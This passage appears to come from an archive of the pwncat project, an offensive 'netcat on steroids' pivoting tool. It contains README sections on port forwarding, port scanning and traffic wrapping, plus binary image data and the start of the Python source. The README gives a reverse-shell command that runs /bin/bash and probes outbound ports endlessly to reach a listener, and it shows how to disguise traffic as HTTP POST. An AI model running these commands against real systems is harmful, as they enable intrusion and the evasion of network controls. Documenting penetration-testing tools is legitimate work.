'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744 2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining) 2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output ``` As soon as you saw this on the listener, you can issue commands to the client. All the debug messages are also not necessary, so you can safely Ctrl+c terminate your server and start it again in silent mode: ```bash pwncat -l 4444 ``` Now wait a maximum a few seconds, depending at what interval the client comes back to you and voila, your session is now again without logs. Having no info messages at all, is also sometimes not desirable. You might want to know what is going on behind the scences or? Safely Ctrl+c terminate your server and redirect the notifications to a logfile: ```bash pwncat -l -vvv 4444 2> comm.txt ``` Now all you'll see in your terminal session are the actual command inputs and outputs. If you want to see what's going on behind the scene, open a second terminal window and tail the `comm.txt` file: ```bash # View communication info tail -fn50 comm.txt 2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744' 2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744 2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining) 2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output ``` #### Socket information Another useful feature is to display currently configured socket and network settings. Use the `--info` switch with either `socket`, `ipv4`, `ipv6`, `tcp` or `all` to display all available settings. **Note:** In order to view those settings, you must at least be at `INFO` log level (`-vv`). An example output in IPv4/TCP mode without any custom settings is shown below: ``` INFO: [bind-sock] Sock: SO_DEBUG: 0 INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1 INFO: [bind-sock] Sock: SO_REUSEADDR: 1 INFO: [bind-sock] Sock: SO_KEEPALIVE: 0 INFO: [bind-sock] Sock: SO_DONTROUTE: 0 INFO: [bind-sock] Sock: SO_BROADCAST: 0 INFO: [bind-sock] Sock: SO_LINGER: 0 INFO: [bind-sock] Sock: SO_OOBINLINE: 0 INFO: [bind-sock] Sock: SO_REUSEPORT: 0 INFO: [bind-sock] Sock: SO_SNDBUF: 16384 INFO: [bind-sock] Sock: SO_RCVBUF: 131072 INFO: [bind-sock] Sock: SO_SNDLOWAT: 1 INFO: [bind-sock] Sock: SO_RCVLOWAT: 1 INFO: [bind-sock] Sock: SO_SNDTIMEO: 0 INFO: [bind-sock] Sock: SO_RCVTIMEO: 0 INFO: [bind-sock] Sock: SO_ERROR: 0 INFO: [bind-sock] Sock: SO_TYPE: 1 INFO: [bind-sock] Sock: SO_PASSCRED: 0 INFO: [bind-sock] Sock: SO_PEERCRED: 0 INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0 INFO: [bind-sock] Sock: SO_PRIORITY: 0 INFO: [bind-sock] Sock: SO_MARK: 0 INFO: [bind-sock] IPv4: IP_OPTIONS: 0 INFO: [bind-sock] IPv4: IP_HDRINCL: 0 INFO: [bind-sock] IPv4: IP_TOS: 0 INFO: [bind-sock] IPv4: IP_TTL: 64 INFO: [bind-sock] IPv4: IP_RECVOPTS: 0 INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0 INFO: [bind-sock] IPv4: IP_RETOPTS: 0 INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0 INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1 INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1 INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0 INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0 INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0 INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0 INFO: [bind-sock] TCP: TCP_NODELAY: 0 INFO: [bind-sock] TCP: TCP_MAXSEG: 536 INFO: [bind-sock] TCP: TCP_CORK: 0 INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200 INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75 INFO: [bind-sock] TCP: TCP_KEEPCNT: 9 INFO: [bind-sock] TCP: TCP_SYNCNT: 6 INFO: [bind-sock] TCP: TCP_LINGER2: 60 INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0 INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0 INFO: [bind-sock] TCP: TCP_INFO: 10 INFO: [bind-sock] TCP: TCP_QUICKACK: 1 INFO: [bind-sock] TCP: TCP_FASTOPEN: 0 ``` ### Port forwarding magic #### Local TCP port forwarding **Scenario** 1. Alice can be reached from the Outside (TCP/UDP) 2. Bob can only be reached from Alice's machine ``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | -----|----> | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat 72.0.0.1 3306 | pwncat \ | | -L 72.0.0.1:3306 \ | | 10.0.0.1 3306 | ``` #### Local UDP port forwarding **Scenario** 1. Alice can be reached from the Outside (but only via UDP) 2. Bob can only be reached from Alice's machine ``` | | Outside | DMZ | private subnet | | | | +-----------------+ UDP +-----------------+ TCP +-----------------+ | The cat | -----|----> | Alice | -----|----> | Bob | | | | | pwncat -L | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat -u 72.0.0.1 3306 | pwncat -u \ | | -L 72.0.0.1:3306 \ | | 10.0.0.1 3306 | ``` #### Remote TCP port forward **Scenario** 1. Alice cannot be reached from the Outside 2. Alice is allowed to connect to the Outside (TCP/UDP) 3. Bob can only be reached from Alice's machine ``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | <----|----- | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat -l 4444 | pwncat --reconn \ | | -R 56.0.0.1:4444 \ | | 10.0.0.1 3306 | ``` #### Remote UDP port forward **Scenario** 1. Alice cannot be reached from the Outside 2. Alice is allowed to connect to the Outside (UDP: DNS only) 3. Bob can only be reached from Alice's machine ``` | | Outside | DMZ | private subnet | | | | +-----------------+ UDP +-----------------+ TCP +-----------------+ | The cat | <----|----- | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat -u -l 53 | pwncat -u --reconn \ | | -R 56.0.0.1:4444 \ | | 10.0.0.1 3306 | ``` ### Outbound port hopping If you have no idea what outbound ports are allowed from the target machine, you can instruct the client (e.g.: in case of a reverse shell) to probe outbound ports endlessly. ```bash # Reverse shell on target (the client) # --exec # The command shell the client should provide # --reconn # Instruct it to reconnect endlessly # --reconn-wait # Reconnect every 0.1 seconds # --reconn-robin # Use these ports to probe for outbount connections pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53 ``` Once the client is up and running, either use raw sockets to check for inbound traffic or use something like Wireshark or tcpdump to find out from where the client is able to connect back to you, If you found one or more ports that the client is able to connect to you, simply start your listener locally and wait for it to come back. ```bash pwncat -l ``` If the client connects to you, you will have a working reverse shell. If you stop your local listening server accidentally or on purpose, the client will probe ports again until it connects successfully. In order to kill the reverse shell client, you can use `--safe-word` (when starting the client). If none of this succeeds, you can add other measures such as using UDP or even wrapping your packets into higher level protocols, such as HTTP or others. See [PSE](pse) or examples below for how to transform your traffic. ### Pwncat Scripting Engine ([PSE](pse)) `pwncat` offers a Python based scripting engine to inject your custom code before sending and after receiving data. #### How it works You will simply need to provide a Python file with the following entrypoint function: ```python def transform(data, pse): # Example to reverse a string return data[::-1] ``` Both, the function name must be named `transform` and the parsed arguments must be named `data` and `pse`. Other than that you can add as much code as you like. Each instance of `pwncat` can take two scripts: 1. `--script-send`: script will be applied before sending 2. `--script-recv`: script will be applied after receiving See [here](pse) for API and more details #### Example 1: Self-built asymmetric encryption > PSE: [asym-enc](pse/asym-enc) source code This will encrypt your traffic asymmetrically. It is just a very basic [ROT13](https://en.wikipedia.org/wiki/ROT13) implementation with different shift lengths on both sides to *emulate* asymmetry. You could do the same and implement GPG based asymmetric encryption for PSE. ```bash # server pwncat -vvvv -l localhost 4444 \ --script-send pse/asym-enc/pse-asym_enc-server_send.py \ --script-recv pse/asym-enc/pse-asym_enc-server_recv.py ``` ```bash # client pwncat -vvvv localhost 4444 \ --script-send pse/asym-enc/pse-asym_enc-client_send.py \ --script-recv pse/asym-enc/pse-asym_enc-client_recv.py ``` #### Example 2: Self-built HTTP POST wrapper > PSE: [http-post](pse/http-post) source code This will wrap all traffic into a valid HTTP POST request, making it look like normal HTTP traffic. ```bash # server pwncat -vvvv -l localhost 4444 \ --script-send pse/http-post/pse-http_post-pack.py \ --script-recv pse/http-post/pse-http_post-unpack.py ``` ```bash # client pwncat -vvvv localhost 4444 \ --script-send pse/http-post/pse-http_post-pack.py \ --script-recv pse/http-post/pse-http_post-unpack.py ``` ### Port scanning #### TCP ```bash $ sudo netstat -tlpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN tcp6 0 0 ::1:631 :::* LISTEN tcp6 0 0 ::1:25 :::* LISTEN tcp6 0 0 ::1:4444 :::* LISTEN tcp6 0 0 :::1053 :::* LISTEN tcp6 0 0 :::902 :::* LISTEN ``` #### UDP The following UDP ports are exposing: ```bash $ sudo netstat -ulpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address udp 0 0 0.0.0.0:631 0.0.0.0:* udp 0 0 0.0.0.0:5353 0.0.0.0:* udp 0 0 0.0.0.0:39856 0.0.0.0:* udp 0 0 0.0.0.0:68 0.0.0.0:* udp 0 0 0.0.0.0:68 0.0.0.0:* udp6 0 0 :::1053 :::* udp6 0 0 :::5353 :::* udp6 0 0 :::57728 :::* ``` ##### nmap ```bash $ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST Warning: 127.0.0.1 giving up on port because retransmission cap hit (2). Nmap scan report for localhost (127.0.0.1) Host is up (0.000035s latency). Other addresses for localhost (not scanned): ::1 Not shown: 65529 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 631/udp open|filtered ipp 1053/udp open|filtered remote-as 5353/udp open|filtered zeroconf 39856/udp open|filtered unknown 40488/udp open|filtered unknown Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds real 2m52.446s user 0m0.844s sys 0m2.571s ``` ##### netcat ```bash $ time nc -z localhost 1-65535 -u -4 -v Connection to localhost 68 port [udp/bootpc] succeeded! Connection to localhost 631 port [udp/ipp] succeeded! Connection to localhost 1053 port [udp/*] succeeded! Connection to localhost 5353 port [udp/mdns] succeeded! Connection to localhost 39856 port [udp/*] succeeded! real 0m18.734s user 0m1.004s sys 0m2.634s ``` ##### pwncat ```bash $ time pwncat -z localhost 1-65535 -u -4 Scanning 65535 ports [+] 68/UDP open (IPv4) [+] 631/UDP open (IPv4) [+] 1053/UDP open (IPv4) [+] 5353/UDP open (IPv4) [+] 39856/UDP open (IPv4) real 0m7.309s user 0m6.465s sys 0m4.794s ``` ## :information_source: FAQ **See complete FAQ here:** https://docs.pwncat.org/en/latest/faq.html **Q**: Is `pwncat` compatible with `netcat`? **A**: Yes, it is fully compatible in the way it behaves in connect, listen and zero-i/o mode. You can even mix `pwncat` with `netcat`, `ncat` or similar tools. **Q**: Does it work on X? **A**: In its current state it works with Python 2, 3 pypy2 and pypy3 and is fully tested on Linux and MacOS. Windows support is available, but is considered experimental (see [integration tests](https://github.com/cytopia/pwncat/actions)). **Q**: I found a bug / I have to suggest a new feature! What can I do? **A**: For bug reports or enhancements, please open an issue [here](https://github.com/cytopia/pwncat/issues). **Q**: How can I support this project? **A**: Thanks for asking! First of all, star this project to give me some feedback and see [CONTRIBUTING.md](CONTRIBUTING.md) for details. ## :sunrise: Artwork
Type Artist Image License
Logo maifz pwncat logo
Banner 1 maifz pwncat banner
Banner 2 maifz pwncat banner
## :lock: [cytopia](https://github.com/cytopia) sec tools Below is a list of sec tools and docs I am maintaining. | Name | Category | Language | Description | |----------------------|----------------------|------------|-------------| | **[offsec]** | Documentation | Markdown | Offsec checklist, tools and examples | | **[header-fuzz]** | Enumeration | Bash | Fuzz HTTP headers | | **[smtp-user-enum]** | Enumeration | Python 2+3 | SMTP users enumerator | | **[urlbuster]** | Enumeration | Python 2+3 | Mutable web directory fuzzer | | **[pwncat]** | Pivoting | Python 2+3 | Cross-platform netcat on steroids | | **[kusanagi]** | Payload Generator | Python 3 | Bind- and Reverse shell payload generator | | **[badchars]** | Reverse Engineering | Python 2+3 | Badchar generator | | **[fuzza]** | Reverse Engineering | Python 2+3 | TCP fuzzing tool | | **[docker-dvwa]** | Playground | PHP | DVWA with local priv esc challenges | [offsec]: https://github.com/cytopia/offsec [header-fuzz]: https://github.com/cytopia/header-fuzz [smtp-user-enum]: https://github.com/cytopia/smtp-user-enum [urlbuster]: https://github.com/cytopia/urlbuster [pwncat]: https://github.com/cytopia/pwncat [kusanagi]: https://github.com/cytopia/kusanagi [badchars]: https://github.com/cytopia/badchars [fuzza]: https://github.com/cytopia/fuzza [docker-dvwa]: https://github.com/cytopia/docker-dvwa ## :octocat: Contributing See **[Contributing guidelines](CONTRIBUTING.md)** to help to improve this project. ## :exclamation: Disclaimer This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool. ## :page_facing_up: License **[MIT License](LICENSE.txt)** Copyright (c) 2020 **[cytopia](https://github.com/cytopia)** pwncat-0.1.2/art/000077500000000000000000000000001414025024700135735ustar00rootroot00000000000000pwncat-0.1.2/art/banner-1.png000066400000000000000000007341511414025024700157170ustar00rootroot00000000000000PNG  IHDRjzTXtRaw profile type exifxڭkr#9{ 8{=~(v;ӱV*pŏCJ/%{28hzO1?O0PxWE948o_7>?uz1Hu>?o_-Ƕ~|Ε`lc< GF6E__EQs&?g ?g]+{(k1zO=uE)~f%vvynBJxo*xmW8ϫjlqM6'ROBoin:J%f9RyY5eDy+U@FDYSNZ3o[1N\)w~wO^MɃI+"<=}^3_?X%ki [Yb\{BbXZ*)Vqlgr, $3)\rZHN{jziDESIMAr6SsCr0b՚uEK.VJ9jTZ-V{M[nJFPk>=b)Sg6ˬ>>+/[eV_cMkm=N:@czg\vkzw|fYK?2YKys]k"9猌INdzxbK9gsP&d-'g''mނ7_ G悧7YQ}U1z!6.ஙxܥg$X`æ ~R2Pj i -{Tuڢ&Qub d"]U 4 Ov.ΤZ"] $U/v*-J`"j)WEb%/ zm/Rev+ 1tѵJQ7bX}QEnгQu)5Q7AIg:643D8:QdSV9lTiڞH \e4?MN%'=ђ ޹iuA>v'`z&P; {;!m@B %i7pfź3v@-H]Iע5XG8YC0YPP%u;! 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J mٛ{J2 b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!%jIENDB`pwncat-0.1.2/bin/000077500000000000000000000000001414025024700135555ustar00rootroot00000000000000pwncat-0.1.2/bin/pwncat000077500000000000000000007405111414025024700150070ustar00rootroot00000000000000#!/usr/bin/env python3 """pwncat.""" # Main sections in this file: # ------------------------------------ # 1. Data structure types # 2. Library classes # 3. Network # 4. Transformer # 5. IO modules # 6. PSE Store # 7. IO Runner / InterruptHandler # 8. Command & Control # 9. Command line arguments # 10. Main entrypoint # # How does it work? # ------------------------------------ # 1. IO (Various input/output modules based on producer/consumer) # 2. Transformer (transforms data) # 3. Runner (puts IO consumer/producer into threads) # 4. Signaling / Interrupts # # 1. IO # ------------------------------------ # IO classes provide basic input/output functionality. # The producer will constantly gather input (net recv, user input, command output) # The consumer is a callback applied to this data (net send, output, command execution) # Each producer/consumer pair will be put into a thread by the Runner instance. # # 2. Transformer # --------------------------- # Transformer sit on top of a IO callback and can transform the data before it is send # to the callback. (e.g.: convert LF to CRLF, convert simple text into a HTTP POST request, # convert a HTTP POST response into text, encrypt/decrypt, etc.) # # 3. Runner - The really cool meat: # ------------------------------------ # The single Runner instance puts it all-together. Each producer/consumer pair (and # x many Transformer) will be moved into their own Thread. # Producer and consumer of different instances can be mixed, when adding them to the Runner. # This allows an Net-1.receive producer, to output it (chat), execute it (command) # or to send it further via a second Net-2 class (proxy). # # A list of Transformer can be added to each consumer/producer pair, allowing further data # transformation. This means you can simply write a Transformer, which wraps any kind of raw # data into a Layer-7 protocol and/or unwraps it from it. This allows for easy extension # of various protocols or other data transformations. # # 4. Signaling / Interrupts # ------------------------------------ # The InterruptHandler instance is distributed across all Threads and and the Runner instance and # is a way to let other Threads know that a stop signal has been requested. # Producer/Consumer can implement their own interrupt function so they can be stopped from # inside (if they do non-blocking stuff) or from outside (if they do blocking stuff). from __future__ import print_function from abc import abstractmethod from abc import ABCMeta from datetime import datetime from subprocess import PIPE from subprocess import Popen from subprocess import STDOUT import argparse import base64 import logging import os import re import select import signal import socket import sys import threading import time # Available since Python 3.3 try: import ipaddress except ImportError: pass # Posix terminal try: import tty import termios except ImportError: pass # Windows try: import msvcrt except ImportError: pass # Only used with mypy for static source code analysis if os.environ.get("MYPY_CHECK", False): from typing import Optional, Iterator, List, Dict, Any, Callable, Tuple, Union, TypeVar from types import CodeType from typing_extensions import TypedDict # pylint: disable=import-error SockInst = TypeVar("SockInst", bound="Sock") # The following is only to create virtual types for mypy in order to find # issues via static type linting. SockConn = TypedDict( "SockConn", { "sock": socket.socket, "conn": socket.socket, "local_host": Optional[str], "local_addr": str, "local_port": int, "remote_host": str, "remote_addr": str, "remote_port": int, }, total=False, ) SockActive = TypedDict( "SockActive", {"af": int, "conn": socket.socket, "remote_addr": str, "remote_port": int}, total=False, ) # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- APPNAME = "pwncat" APPREPO = "https://github.com/cytopia/pwncat" VERSION = "0.1.2" # Default timeout for timeout-based sys.stdin and socket.recv TIMEOUT_READ_STDIN = 0.05 TIMEOUT_RECV_SOCKET = 0.05 TIMEOUT_RECV_SOCKET_RETRY = 1 # https://docs.python.org/3/library/subprocess.html#popen-constructor # * 0 means unbuffered (read and write are one system call and can return short) # * 1 means line buffered (only usable if universal_newlines=True i.e., in a text mode) # * any other positive value means use a buffer of approximately that size # * negative bufsize (the default) means the system default of io.DEFAULT_BUFFER_SIZE will be used. # TODO: should I use 'bufsize=1'? # TODO: Probably set it to 0: https://stackoverflow.com/a/45664969 POPEN_BUFSIZE = -1 # https://docs.python.org/3/library/socket.html#socket.socket.recv RECV_BUFSIZE = 8192 # https://docs.python.org/3/library/socket.html#socket.socket.listen LISTEN_BACKLOG = 0 # ################################################################################################# # ################################################################################################# # ### # ### 1 / 11 M E T A C L A S S E S # ### # ################################################################################################# # ################################################################################################# # ------------------------------------------------------------------------------------------------- # [1/11 META CLASSES]: (1/2) Abstract # ------------------------------------------------------------------------------------------------- # Abstract class with Python 2 + Python 3 support: https://stackoverflow.com/questions/35673474 ABC = ABCMeta("ABC", (object,), {"__slots__": ()}) # ------------------------------------------------------------------------------------------------- # [1/11 META CLASSES]: (2/2) Singleton # ------------------------------------------------------------------------------------------------- class _Singleton(type): """A thread-safe metaclass that creates a Singleton base class when called.""" # https://refactoring.guru/design-patterns/singleton/python/example#example-1 _instances = {} # type: Dict[_Singleton, _Singleton] _lock = threading.Lock() def __call__(cls, *args, **kwargs): # type: (_Singleton, Any, Any) -> _Singleton # Now, imagine that the program has just been launched. Since there's no # Singleton instance yet, multiple threads can simultaneously pass the # previous conditional and reach this point almost at the same time. The # first of them will acquire lock and will proceed further, while the # rest will wait here. with cls._lock: # The first thread to acquire the lock, reaches this conditional, # goes inside and creates the Singleton instance. Once it leaves the # lock block, a thread that might have been waiting for the lock # release may then enter this section. But since the Singleton field # is already initialized, the thread won't create a new object. if cls not in cls._instances: cls._instances[cls] = super(_Singleton, cls).__call__(*args, **kwargs) return cls._instances[cls] # ################################################################################################# # ################################################################################################# # ### # ### 2 / 11 D A T A S T R U C T U R E T Y P E S # ### # ################################################################################################# # ################################################################################################# # ------------------------------------------------------------------------------------------------- # [2/11 DATA STRUCTURE TYPES]: (1/12) DsCallableProducer # ------------------------------------------------------------------------------------------------- class DsCallableProducer(object): """A type-safe data structure for Callable functions.""" # -------------------------------------------------------------------------- # Properties # -------------------------------------------------------------------------- @property def function(self): # type: () -> Callable[..., Iterator[bytes]] """`IO.producer`: Callable funtcion function.""" return self.__function @property def args(self): # type: () -> Any """`*args`: optional *args for the callable function.""" return self.__args @property def kwargs(self): # type: () -> Any """`**kargs`: optional *kwargs for the callable function.""" return self.__kwargs # -------------------------------------------------------------------------- # Contrcutor # -------------------------------------------------------------------------- def __init__(self, function, *args, **kwargs): # type: (Callable[..., Iterator[bytes]], Any, Any) -> None self.__function = function self.__args = args self.__kwargs = kwargs # ------------------------------------------------------------------------------------------------- # [2/11 DATA STRUCTURE TYPES]: (2/12) DsRunnerAction # ------------------------------------------------------------------------------------------------- class DsRunnerAction(object): """A type-safe data structure for Action functions for the Runner class.""" # -------------------------------------------------------------------------- # Properties # -------------------------------------------------------------------------- @property def producer(self): # type: () -> DsCallableProducer """`DsCallableProducer`: Data producer function struct with args and kwargs.""" return self.__producer @property def consumer(self): # type: () -> Callable[[bytes], None] """`IO.consumer`: Data consumer function.""" return self.__consumer @property def interrupts(self): # type: () -> List[Callable[[], None]] """`[List[Callable[[], None]]]`: List of interrupt functions for the producer/consumer.""" return self.__interrupts @property def transformers(self): # type: () -> List[Transform] """`[Transform.transformer]`: List of transformer functions applied before consumer.""" return self.__transformers @property def daemon_thread(self): # type: () -> bool """`bool`: Determines if the action will be started in a daemon thread.""" return self.__daemon_thread @property def code(self): # type: () -> Optional[Union[str, bytes, CodeType]] """`ast.AST`: custom Python code which provides a `transform(data, pse) -> str` function.""" return self.__code # -------------------------------------------------------------------------- # Contrcutor # -------------------------------------------------------------------------- def __init__( self, producer, # type: DsCallableProducer consumer, # type: Callable[[bytes], None] interrupts, # type: List[Callable[[], None]] transformers, # type: List[Transform] daemon_thread, # type: bool code, # type: Optional[Union[str, bytes, CodeType]] ): # type: (...) -> None self.__producer = producer self.__consumer = consumer self.__interrupts = interrupts self.__transformers = transformers self.__daemon_thread = daemon_thread self.__code = code # ------------------------------------------------------------------------------------------------- # [2/11 DATA STRUCTURE TYPES]: (3/12) DsRunnerTimer # ------------------------------------------------------------------------------------------------- class DsRunnerTimer(object): """A type-safe data structure for Timer functions for the Runner class.""" # -------------------------------------------------------------------------- # Properties # -------------------------------------------------------------------------- @property def action(self): # type: () -> Callable[..., None] """`Callable[..., None]`: function to be run periodically.""" return self.__action @property def intvl(self): # type: () -> int """`int`: interval at which to run the action function..""" return self.__intvl @property def args(self): # type: () -> Tuple[Any, ...] """`*args`: optional *args for the action function.""" return self.__args @property def kwargs(self): # type: () -> Dict[str, Any] """`**kargs`: optional *kwargs for the action function.""" return self.__kwargs @property def ssig(self): # type: () -> InterruptHandler """`InterruptHandler`: InterruptHandler instance.""" return self.__ssig # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- def __init__( self, action, # type: Callable[..., None] ssig, # type: InterruptHandler intvl, # type: int args, # type: Tuple[Any, ...] kwargs, # type: Dict[str, Any] ): # type: (...) -> None assert type(intvl) is int, type(intvl) assert type(kwargs) is dict, type(kwargs) self.__action = action self.__ssig = ssig self.__intvl = intvl self.__args = args self.__kwargs = kwargs # ------------------------------------------------------------------------------------------------- # [2/11 DATA STRUCTURE TYPES]: (4/12) DsRunnerRepeater # ------------------------------------------------------------------------------------------------- class DsRunnerRepeater(object): """A type-safe data structure for repeated functions for the Runner class.""" # -------------------------------------------------------------------------- # Properties # -------------------------------------------------------------------------- @property def action(self): # type: () -> Callable[..., None] """`Callable[..., None]`: function to be run periodically.""" return self.__action @property def repeat(self): # type: () -> int """`int`: how many times to repeat the action function.""" return self.__repeat @property def pause(self): # type: () -> float """`int`: pause in seconds between repeated action calls.""" return self.__pause @property def args(self): # type: () -> Tuple[Any, ...] """`*args`: optional *args for the action function.""" return self.__args @property def kwargs(self): # type: () -> Dict[str, Any] """`**kargs`: optional *kwargs for the action function.""" return self.__kwargs @property def ssig(self): # type: () -> InterruptHandler """`InterruptHandler`: InterruptHandler instance.""" return self.__ssig # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- def __init__( self, action, # type: Callable[..., None] ssig, # type: InterruptHandler repeat, # type: int pause, # type: float args, # type: Tuple[Any, ...] kwargs, # type: Dict[str, Any] ): # type: (...) -> None assert type(repeat) is int, type(repeat) assert type(pause) is float, type(pause) assert type(kwargs) is dict, type(kwargs) self.__action = action self.__ssig = ssig self.__repeat = repeat self.__pause = pause self.__args = args self.__kwargs = kwargs # ------------------------------------------------------------------------------------------------- # [2/11 DATA STRUCTURE TYPES]: (5/12) DsSock # ------------------------------------------------------------------------------------------------- class DsSock(object): """A type-safe data structure for DsSock options.""" # -------------------------------------------------------------------------- # Properties # -------------------------------------------------------------------------- @property def bufsize(self): # type: () -> int """`int`: Receive buffer size.""" return self.__bufsize @property def backlog(self): # type: () -> int """`int`: Listen backlog.""" return self.__backlog @property def recv_timeout(self): # type: () -> Optional[float] """`float` or `None`: Receive timeout to change blocking socket to time-out based.""" return self.__recv_timeout @property def nodns(self): # type: () -> bool """`bool`: Determines if we resolve hostnames or not.""" return self.__nodns @property def ipv4(self): # type: () -> bool """`bool`: Only use IPv4 instead of both, IPv4 and IPv6.""" return self.__ipv4 @property def ipv6(self): # type: () -> bool """`bool`: Only use IPv6 instead of both, IPv4 and IPv6.""" return self.__ipv6 @property def src_addr(self): # type: () -> Optional[str] """`bool`: Custom source address for connect mode.""" return self.__src_addr @property def src_port(self): # type: () -> Optional[int] """`bool`: Custom source port for connect mode.""" return self.__src_port @property def udp(self): # type: () -> bool """`bool`: Determines if we use TCP or UDP.""" return self.__udp @property def udp_sconnect(self): # type: () -> bool """`bool`: Determines if we use stateful connect for UDP.""" return self.__udp_sconnect @property def udp_sconnect_word(self): # type: () -> str """`str`: What string to send when emulating a stateful UDP connect.""" return self.__udp_sconnect_word @property def ip_tos(self): # type: () -> Optional[str] """`str`: Determines what IP_TOS (Type of Service) value to set for the socket.""" return self.__ip_tos @property def info(self): # type: () -> Optional[str] """`str`: Determines what info to display about the socket connection.""" return self.__info # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- def __init__( self, bufsize, # type: int backlog, # type: int recv_timeout, # type: Optional[float] nodns, # type: bool ipv4, # type: bool ipv6, # type: bool src_addr, # type: Optional[str] src_port, # type: Optional[int] udp, # type: bool udp_sconnect, # type: bool udp_sconnect_word, # type: str ip_tos, # type: Optional[str] info, # type: str ): # type: (...) -> None assert type(bufsize) is int, type(bufsize) assert type(backlog) is int, type(backlog) assert type(recv_timeout) is float, type(recv_timeout) assert type(nodns) is bool, type(nodns) assert type(ipv4) is bool, type(ipv4) assert type(ipv6) is bool, type(ipv6) assert type(src_addr) is str or src_addr is None, type(src_addr) assert type(src_port) is int or src_port is None, type(src_port) assert type(udp) is bool, type(udp) self.__bufsize = bufsize self.__backlog = backlog self.__recv_timeout = recv_timeout self.__nodns = nodns self.__ipv4 = ipv4 self.__ipv6 = ipv6 self.__src_addr = src_addr self.__src_port = src_port self.__udp = udp self.__udp_sconnect = udp_sconnect self.__udp_sconnect_word = udp_sconnect_word self.__ip_tos = ip_tos self.__info = info # ------------------------------------------------------------------------------------------------- # [2/11 DATA STRUCTURE TYPES]: (6/12) DsIONetworkSock # ------------------------------------------------------------------------------------------------- class DsIONetworkSock(DsSock): """A type-safe data structure for IONetwork socket options.""" # -------------------------------------------------------------------------- # Properties # -------------------------------------------------------------------------- @property def recv_timeout_retry(self): # type: () -> int """`int`: How many times to retry receiving if stop signal was raised.""" return self.__recv_timeout_retry # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- def __init__( self, bufsize, # type: int backlog, # type: int recv_timeout, # type: Optional[float] recv_timeout_retry, # type: int nodns, # type: bool ipv4, # type: bool ipv6, # type: bool src_addr, # type: Optional[str] src_port, # type: Optional[bool] udp, # type: bool udp_sconnect, # type: bool udp_sconnect_word, # type: str ip_tos, # type: Optional[str] info, # type: str ): # type: (...) -> None assert type(recv_timeout_retry) is int, type(recv_timeout_retry) self.__recv_timeout_retry = recv_timeout_retry super(DsIONetworkSock, self).__init__( bufsize, backlog, recv_timeout, nodns, ipv4, ipv6, src_addr, src_port, udp, udp_sconnect, udp_sconnect_word, ip_tos, info, ) # ------------------------------------------------------------------------------------------------- # [2/11 DATA 